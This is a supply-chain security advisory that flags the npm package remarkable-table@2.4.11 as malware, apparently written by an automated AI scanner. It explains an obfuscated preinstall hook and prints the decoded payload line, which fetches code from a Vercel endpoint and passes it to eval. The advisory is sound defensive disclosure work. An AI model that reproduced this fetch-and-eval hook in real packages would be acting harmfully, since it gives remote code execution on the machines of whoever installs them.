registry / Remote code execution / remarkable-table
remarkable-table
Generate a markdown (GFM) table
This report shows the evidence for remarkable-table@2.4.11, the only known version.
AI Security Review
scanned 3mo ago · by lpm-firewall-aiThe package contains an unconsented preinstall hook that retrieves and executes mutable remote code. This is concrete malicious install-time behavior.
Static reason
High-risk behavior combination matched malicious policy.
Trigger
`npm install remarkable-table@2.4.11`
Impact
Arbitrary code execution with the installing user's permissions; the payload can change without a package update.
Mechanism
obfuscated preinstall remote-payload fetch and eval
Attack narrative
`package.json` runs `node index.d.js` during npm preinstall. That file decodes an obfuscated JavaScript expression which fetches text from a Vercel endpoint and immediately evaluates it. The package’s normal formatter entrypoint is unrelated to this lifecycle behavior, so the install hook is a concrete remote-code-execution chain rather than package functionality.
AI rationale
The package contains an unconsented preinstall hook that retrieves and executes mutable remote code. This is concrete malicious install-time behavior.
Evidence
package.jsonindex.d.jsindex.js
Network endpoints1
everydaynodechecker-39143n.vercel.app/api/key?mem=root3
Decision evidence
public snapshotAI called this Malicious at 99.0% confidence as Malware with low false-positive risk.
Evidence for block
- `package.json` defines `preinstall: node index.d.js`.
- `index.d.js` base64-decodes an async payload containing a remote fetch.
- The decoded payload fetches `https://everydaynodechecker-39143n.vercel.app/api/key?mem=root3`.
- The fetched response is passed directly to `eval`, enabling remote code execution at install time.
- `index.d.js` obscures `eval` via character codes and exposes `require` on `globalThis`.
Evidence against
- `index.js` is a local markdown-table formatter with no observed network, shell, or filesystem behavior.
- No benign package function requires an install-time remote payload fetch or dynamic evaluation.
Behavioral surface
HighEntropyStringsObfuscated
Source & flagged code
5 flagged · loading sourcepackage.jsonView file
•scripts.preinstall = node index.d.js
High
Install Time Lifecycle Scripts
Package defines install-time lifecycle scripts.
package.jsonView on unpkgindex.d.js#virtual:base64:round1View file
1(async()=>eval(await fetch('https://everydaynodechecker-39143n.vercel.app/api/key?mem=root3').then(r=>r.text())))();
Critical
Download Execute
Source downloads or fetches remote code and executes it.
index.d.js#virtual:base64:round1View on unpkg · L11(async()=>eval(await fetch('https://everydaynodechecker-39143n.vercel.app/api/key?mem=root3').then(r=>r.text())))();
Critical
Remote Asset Decode Execute
Source fetches a remote non-code asset, decodes its contents, and dynamically executes the decoded payload.
index.d.js#virtual:base64:round1Findings
3 Critical2 High1 Medium3 Low
CriticalDownload Executeindex.d.js#virtual:base64:round1
CriticalRemote Asset Decode Executeindex.d.js#virtual:base64:round1
CriticalTrigger Reachable Dangerous Capabilityindex.d.js#virtual:base64:round1
HighInstall Time Lifecycle Scriptspackage.json
HighBase64 Obscured Urlindex.d.js
MediumStructural Risk Force Deep Review
LowScripts Present
LowObfuscated
LowHigh Entropy Strings
Affected versions and remediation
This report applies to remarkable-table@2.4.11.
The versions list below shows the verdict for each recorded version.
- Avoid installing remarkable-table@2.4.11. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
Source advisory published: .
Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.